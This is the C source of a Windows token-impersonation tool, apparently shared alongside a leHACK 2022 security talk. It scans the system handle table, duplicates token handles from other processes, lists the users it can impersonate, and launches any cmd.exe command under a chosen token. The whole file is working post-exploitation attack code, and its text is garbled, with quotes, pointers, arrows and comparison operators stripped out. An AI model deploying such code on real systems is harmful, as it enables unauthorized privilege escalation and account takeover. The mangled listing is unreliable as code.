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Talk-Exploitation-de-tokens-Windows-leHACK-2022-Code-Impersonate.c
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Talk-Exploitation-de-tokens-Windows-leHACK-2022-Code-Impersonate.c
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# Writen by Aurélien Chalot @Defte
# https://github.com/Dfte/Impersonate
#include stdio.h
#include windows.h
#include winternl.h
#pragma comment(lib, ntdll)
#define MAX_USERNAME_LENGTH 256
#define MAX_DOMAINNAME_LENGTH 15
#define FULL_NAME_LENGTH 271
#define TOKEN_TYPE_LENGTH 30
#define COMMAND_LENGTH 1000
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define STATUS_BUFFER_OVERFLOW ((NTSTATUS)0x80000005L)
#define SystemHandleInformation 16
#define SystemHandleInformationSize 1024 1024 10
#define OB_TYPE_INDEX_TOKEN 4
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
USHORT ProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, PSYSTEM_HANDLE_INFORMATION;
typedef NTSTATUS(WINAPI NTQUERYSYSTEMINFORMATION)(
DWORD SystemInformationClass,
PVOID SystemInformation,
DWORD SystemInformationLength,
PDWORD ReturnLength
);
typedef enum _POOL_TYPE{
NonPagedPool,
PagedPool,
NonPagedPoolMustSucceed,
DontUseThisType,
NonPagedPoolCacheAligned,
PagedPoolCacheAligned,
NonPagedPoolCacheAlignedMustS
} POOL_TYPE, PPOOL_TYPE;
typedef struct _OBJECT_TYPE_INFORMATION {
UNICODE_STRING Name;
ULONG TotalNumberOfObjects;
ULONG TotalNumberOfHandles;
ULONG TotalPagedPoolUsage;
ULONG TotalNonPagedPoolUsage;
ULONG TotalNamePoolUsage;
ULONG TotalHandleTableUsage;
ULONG HighWaterNumberOfObjects;
ULONG HighWaterNumberOfHandles;
ULONG HighWaterPagedPoolUsage;
ULONG HighWaterNonPagedPoolUsage;
ULONG HighWaterNamePoolUsage;
ULONG HighWaterHandleTableUsage;
ULONG InvalidAttributes;
GENERIC_MAPPING GenericMapping;
ULONG ValidAccess;
BOOLEAN SecurityRequired;
BOOLEAN MaintainHandleCount;
USHORT MaintainTypeList;
POOL_TYPE PoolType;
ULONG PagedPoolUsage;
ULONG NonPagedPoolUsage;
} OBJECT_TYPE_INFORMATION, POBJECT_TYPE_INFORMATION;
typedef NTSTATUS(WINAPI NTQUERYOBJECT)(
HANDLE ObjectHandle,
OBJECT_INFORMATION_CLASS ObjectInformationClass,
PVOID ObjectInformation,
DWORD Length,
PDWORD ResultLength
);
typedef UNICODE_STRING OBJECT_NAME_INFORMATION;
typedef UNICODE_STRING POBJECT_NAME_INFORMATION;
using fNtQuerySystemInformation = NTSTATUS(WINAPI)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
typedef struct {
BOOL valid;
int token_id;
HANDLE token_handle;
wchar_t owner_name[FULL_NAME_LENGTH];
wchar_t user_name[FULL_NAME_LENGTH];
wchar_t TokenType[100];
wchar_t TokenImpersonationLevel[100];
}TOKEN;
void duplicate_and_launch(HANDLE token, wchar_t command) {
STARTUPINFO si = {};
PROCESS_INFORMATION pi = {};
HANDLE duplicated_token;
if (DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &duplicated_token) != 0){
CreateProcessAsUserW(duplicated_token, NULL, command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
CloseHandle(duplicated_token);
exit(0);
}
else {
printf(Duplication failed... Exitingn);
exit(0);
}
}
wchar_t get_token_owner_info(HANDLE token) {
wchar_t username[MAX_USERNAME_LENGTH], domain[MAX_DOMAINNAME_LENGTH], full_name[FULL_NAME_LENGTH];
SID_NAME_USE sid;
DWORD user_length = sizeof(username), domain_length = sizeof(domain), token_info;
if (!GetTokenInformation(token, TokenOwner, NULL, 0, &token_info)) {
PTOKEN_OWNER TokenStatisticsInformation = (PTOKEN_OWNER)GlobalAlloc(GPTR, token_info);
if (GetTokenInformation(token, TokenOwner, TokenStatisticsInformation, token_info, &token_info)) {
LookupAccountSidW(NULL, ((TOKEN_OWNER)TokenStatisticsInformation)-Owner, username, &user_length, domain, &domain_length, &sid);
_snwprintf_s(full_name, FULL_NAME_LENGTH, L%ws%ws, domain, username);
return full_name;
}
}
}
wchar_t get_token_user_info(HANDLE token) {
wchar_t username[MAX_USERNAME_LENGTH], domain[MAX_DOMAINNAME_LENGTH], full_name[FULL_NAME_LENGTH];
DWORD user_length = sizeof(username), domain_length = sizeof(domain), token_info;
SID_NAME_USE sid;
if (!GetTokenInformation(token, TokenUser, NULL, 0, &token_info)) {
PTOKEN_USER TokenStatisticsInformation = (PTOKEN_USER)GlobalAlloc(GPTR, token_info);
if (GetTokenInformation(token, TokenUser, TokenStatisticsInformation, token_info, &token_info)) {
LookupAccountSidW(NULL, ((TOKEN_USER)TokenStatisticsInformation)-User.Sid, username, &user_length, domain, &domain_length, &sid);
_snwprintf_s(full_name, FULL_NAME_LENGTH, L%ws%ws, domain, username);
return full_name;
}
}
}
TOKEN is_impersonate_token(TOKEN TOKEN_INFO) {
DWORD returned_tokinfo_length, returned_tokimp_length;
if (!GetTokenInformation(TOKEN_INFO-token_handle, TokenStatistics, NULL, 0, &returned_tokinfo_length)) {
PTOKEN_STATISTICS TokenStatisticsInformation = (PTOKEN_STATISTICS)GlobalAlloc(GPTR, returned_tokinfo_length);
if (GetTokenInformation(TOKEN_INFO-token_handle, TokenStatistics, TokenStatisticsInformation, returned_tokinfo_length, &returned_tokinfo_length)) {
if (TokenStatisticsInformation-TokenType == TokenImpersonation) {
wcscpy_s(TOKEN_INFO-TokenType, TOKEN_TYPE_LENGTH, LTokenImpersonation);
wchar_t token_owner;
token_owner = get_token_owner_info(TOKEN_INFO-token_handle);
wcscpy_s(TOKEN_INFO-owner_name, FULL_NAME_LENGTH, token_owner);
wchar_t token_user;
token_user = get_token_user_info(TOKEN_INFO-token_handle);
wcscpy_s(TOKEN_INFO-user_name, FULL_NAME_LENGTH, token_user);
if (!GetTokenInformation(TOKEN_INFO-token_handle, TokenImpersonationLevel, NULL, 0, &returned_tokimp_length)) {
PSECURITY_IMPERSONATION_LEVEL TokenImpersonationInformation = (PSECURITY_IMPERSONATION_LEVEL)GlobalAlloc(GPTR, returned_tokimp_length);
if (GetTokenInformation(TOKEN_INFO-token_handle, TokenImpersonationLevel, TokenImpersonationInformation, returned_tokimp_length, &returned_tokimp_length)) {
if (((SECURITY_IMPERSONATION_LEVEL)TokenImpersonationInformation) = SecurityImpersonation) {
wcscpy_s(TOKEN_INFO-TokenImpersonationLevel, TOKEN_TYPE_LENGTH, LSecurityImpersonation);
}
if (((SECURITY_IMPERSONATION_LEVEL)TokenImpersonationInformation) == SecurityDelegation) {
wcscpy_s(TOKEN_INFO-TokenImpersonationLevel, TOKEN_TYPE_LENGTH, LSecurityDelegation);
}
if (((SECURITY_IMPERSONATION_LEVEL)TokenImpersonationInformation) == SecurityAnonymous) {
wcscpy_s(TOKEN_INFO-TokenImpersonationLevel, TOKEN_TYPE_LENGTH, LSecurityAnonymous);
}
if (((SECURITY_IMPERSONATION_LEVEL)TokenImpersonationInformation) == SecurityIdentification) {
wcscpy_s(TOKEN_INFO-TokenImpersonationLevel, TOKEN_TYPE_LENGTH, LSecurityIdentification);
}
}
TOKEN_INFO-valid = 0;
return TOKEN_INFO;
}
}
}
}
return TOKEN_INFO;
}
TOKEN is_primary_token(TOKEN TOKEN_INFO) {
DWORD returned_tokinfo_length, returned_tokimp_length;
if (!GetTokenInformation(TOKEN_INFO-token_handle, TokenStatistics, NULL, 0, &returned_tokinfo_length)) {
PTOKEN_STATISTICS TokenStatisticsInformation = (PTOKEN_STATISTICS)GlobalAlloc(GPTR, returned_tokinfo_length);
if (GetTokenInformation(TOKEN_INFO-token_handle, TokenStatistics, TokenStatisticsInformation, returned_tokinfo_length, &returned_tokinfo_length)) {
if (TokenStatisticsInformation-TokenType == TokenPrimary) {
wcscpy_s(TOKEN_INFO-TokenType, TOKEN_TYPE_LENGTH, LTokenPrimary);
wchar_t token_owner;
token_owner = get_token_owner_info(TOKEN_INFO-token_handle);
wcscpy_s(TOKEN_INFO-owner_name, FULL_NAME_LENGTH, token_owner);
wchar_t token_user;
token_user = get_token_user_info(TOKEN_INFO-token_handle);
wcscpy_s(TOKEN_INFO-user_name, FULL_NAME_LENGTH, token_user);
if (!GetTokenInformation(TOKEN_INFO-token_handle, TokenImpersonationLevel, NULL, 0, &returned_tokimp_length)) {
PSECURITY_IMPERSONATION_LEVEL TokenImpersonationInformation = (PSECURITY_IMPERSONATION_LEVEL)GlobalAlloc(GPTR, returned_tokimp_length);
if (GetTokenInformation(TOKEN_INFO-token_handle, TokenImpersonationLevel, TokenImpersonationInformation, returned_tokimp_length, &returned_tokimp_length)) {
if (((SECURITY_IMPERSONATION_LEVEL)TokenImpersonationInformation) = SecurityImpersonation) {
wcscpy_s(TOKEN_INFO-TokenImpersonationLevel, TOKEN_TYPE_LENGTH, LSecurityImpersonation);
}
if (((SECURITY_IMPERSONATION_LEVEL)TokenImpersonationInformation) == SecurityDelegation) {
wcscpy_s(TOKEN_INFO-TokenImpersonationLevel, TOKEN_TYPE_LENGTH, LSecurityDelegation);
}
if (((SECURITY_IMPERSONATION_LEVEL)TokenImpersonationInformation) == SecurityAnonymous) {
wcscpy_s(TOKEN_INFO-TokenImpersonationLevel, TOKEN_TYPE_LENGTH, LSecurityAnonymous);
}
if (((SECURITY_IMPERSONATION_LEVEL)TokenImpersonationInformation) == SecurityIdentification) {
wcscpy_s(TOKEN_INFO-TokenImpersonationLevel, TOKEN_TYPE_LENGTH, LSecurityIdentification);
}
}
TOKEN_INFO-valid = 0;
return TOKEN_INFO;
}
}
}
}
return TOKEN_INFO;
}
LPWSTR GetObjectInfo(HANDLE hObject, OBJECT_INFORMATION_CLASS objInfoClass){
LPWSTR data = NULL;
DWORD dwSize = sizeof(OBJECT_NAME_INFORMATION);
POBJECT_NAME_INFORMATION pObjectInfo = (POBJECT_NAME_INFORMATION)malloc(dwSize);
NTSTATUS ntReturn = NtQueryObject(hObject, objInfoClass, pObjectInfo, dwSize, &dwSize);
if ((ntReturn == STATUS_BUFFER_OVERFLOW) (ntReturn == STATUS_INFO_LENGTH_MISMATCH)) {
pObjectInfo = (POBJECT_NAME_INFORMATION)realloc(pObjectInfo, dwSize);
ntReturn = NtQueryObject(hObject, objInfoClass, pObjectInfo, dwSize, &dwSize);
}
if ((ntReturn = STATUS_SUCCESS) && (pObjectInfo-Buffer != NULL)) {
data = (LPWSTR)calloc(pObjectInfo-Length, sizeof(WCHAR));
CopyMemory(data, pObjectInfo-Buffer, pObjectInfo-Length);
}
free(pObjectInfo);
return data;
}
int wmain(int argc, wchar_t argv[]) {
printf([] Listing available tokensn);
ULONG returnLenght = 0;
TOKEN found_tokens[30];
int nbrsfoundtokens = 0;
fNtQuerySystemInformation NtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(GetModuleHandle(Lntdll), NtQuerySystemInformation);
PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationSize);
NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLenght);
for (DWORD i = 0; i handleTableInformation-NumberOfHandles; i++) {
SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation-Handles[i];
HANDLE dupHandle;
HANDLE process = OpenProcess(PROCESS_DUP_HANDLE, FALSE, handleInfo.ProcessId);
if (process == INVALID_HANDLE_VALUE) {
CloseHandle(process);
continue;
}
if (DuplicateHandle(process, (HANDLE)handleInfo.HandleValue, GetCurrentProcess(), &dupHandle, 0, FALSE, DUPLICATE_SAME_ACCESS) == 0) {
CloseHandle(process);
CloseHandle(dupHandle);
continue;
}
POBJECT_TYPE_INFORMATION objectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(8192);
LPWSTR lpwsType = GetObjectInfo(dupHandle, ObjectTypeInformation);
if (wcscmp(lpwsType, LToken)){
CloseHandle(process);
CloseHandle(dupHandle);
continue;
}
TOKEN TOKEN_INFO;
TOKEN_INFO.valid = 1;
TOKEN_INFO.token_handle = dupHandle;
is_primary_token(&TOKEN_INFO);
is_impersonate_token(&TOKEN_INFO);
if (TOKEN_INFO.valid == 0) {
int is_new_token = 0;
for (int j = 0; j = nbrsfoundtokens; j++) {
if (wcscmp(found_tokens[j].user_name, TOKEN_INFO.user_name) == 0 && wcscmp(found_tokens[j].TokenType, TOKEN_INFO.TokenType) == 0 && wcscmp(found_tokens[j].TokenImpersonationLevel, TOKEN_INFO.TokenImpersonationLevel) == 0) {
is_new_token = 1;
}
}
if (is_new_token == 0) {
TOKEN_INFO.token_id = nbrsfoundtokens;
found_tokens[nbrsfoundtokens] = TOKEN_INFO;
nbrsfoundtokens += 1;
}
}
CloseHandle(process);
}
for (int k = 0; k nbrsfoundtokens; k++) {
printf([ID %d][%ws][%ws] Owner %ws User %wsn, found_tokens[k].token_id, found_tokens[k].TokenType, found_tokens[k].TokenImpersonationLevel, found_tokens[k].owner_name, found_tokens[k].user_name);
}
if (argc == 3) {
wchar_t command[COMMAND_LENGTH];
int selected_token = _wtoi(argv[1]);
_snwprintf_s(command, COMMAND_LENGTH, Lcmd.exe c %ws, argv[2]);
for (int k = 0; k nbrsfoundtokens; k++) {
if (found_tokens[k].token_id == selected_token) {
printf([] Impersonating %ws and launching command [%ws]...n, found_tokens[k].user_name, command);
duplicate_and_launch(found_tokens[k].token_handle, command);
}
}
}
return 0;
}